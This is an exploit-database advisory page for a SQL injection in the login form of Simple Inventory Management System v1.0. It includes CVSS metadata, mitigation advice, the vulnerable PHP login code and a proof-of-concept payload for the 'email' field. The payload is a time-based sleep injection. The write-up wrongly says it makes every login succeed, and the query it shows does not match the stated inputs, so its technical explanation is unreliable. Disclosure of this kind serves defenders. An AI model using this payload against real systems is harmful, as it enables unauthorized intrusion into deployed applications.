header-logo
Suggest Exploit
vendor:
Simple Inventory Management System
by:
SoSPiro
6.1
CVSS
HIGH
SQL Injection
89
CWE
Product Name: Simple Inventory Management System
Affected Version From: 1
Affected Version To: 1
Patch Exists: NO
Related CWE:
CPE: a:simple_inventory_management_system_project:simple_inventory_management_system:1.0
Metasploit:
Other Scripts:
Platforms Tested: Windows 10 64 bit with Wampserver
2024

Simple Inventory Management System v1.0 – SQL Injection in ’email’

The Simple Inventory Management System v1.0 is prone to SQL Injection due to user inputs ($_POST['email'] and $_POST['pwd']) being directly used in SQL queries without proper validation, allowing malicious users to manipulate the application. An attacker could inject SQL code through crafted input, potentially leading to unauthorized access.

Mitigation:

To mitigate this vulnerability, input validation and parameterized queries should be implemented to prevent SQL Injection attacks. Additionally, limiting database privileges and avoiding dynamic SQL queries can enhance security.
Source

Exploit-DB raw data:

# Exploit Title: Simple Inventory Management System v1.0 -  'email'  SQL Injection
# Google Dork: N/A
# Application: Simple Inventory Management System
# Date: 26.02.2024
# Bugs: SQL Injection 
# Exploit Author: SoSPiro
# Vendor Homepage: https://www.sourcecodester.com/
# Software Link: https://www.sourcecodester.com/php/15419/simple-inventory-management-system-phpoop-free-source-code.html
# Version: 1.0
# Tested on: Windows 10 64 bit Wampserver 
# CVE : N/A


## Vulnerability Description:

This code snippet is potentially vulnerable to SQL Injection. User inputs ($_POST['email'] and $_POST['pwd']) are directly incorporated into the SQL query without proper validation or sanitization, exposing the application to the risk of manipulation by malicious users. This could allow attackers to inject SQL code through specially crafted input.


## Proof of Concept (PoC):

An example attacker could input the following values:

email: test@gmail.com'%2b(select*from(select(sleep(20)))a)%2b'
pwd: test

This would result in the following SQL query:

SELECT * FROM users WHERE email = 'test@gmail.com'+(select*from(select(sleep(20)))a)+'' AND password = 'anything'

This attack would retrieve all users, making the login process always successful.

request-response foto:https://i.imgur.com/slkzYJt.png


## Vulnerable code section:
====================================================
ims/login.php

<?php 
ob_start();
session_start();
include('inc/header.php');
$loginError = '';
if (!empty($_POST['email']) && !empty($_POST['pwd'])) {
	include 'Inventory.php';
	$inventory = new Inventory();

	// Vulnerable code
	$login = $inventory->login($_POST['email'], $_POST['pwd']); 
	//

if(!empty($login)) {
		$_SESSION['userid'] = $login[0]['userid'];
		$_SESSION['name'] = $login[0]['name'];			
		header("Location:index.php");
	} else {
		$loginError = "Invalid email or password!";
	}
}
?>



## Reproduce: https://packetstormsecurity.com/files/177294/Simple-Inventory-Management-System-1.0-SQL-Injection.html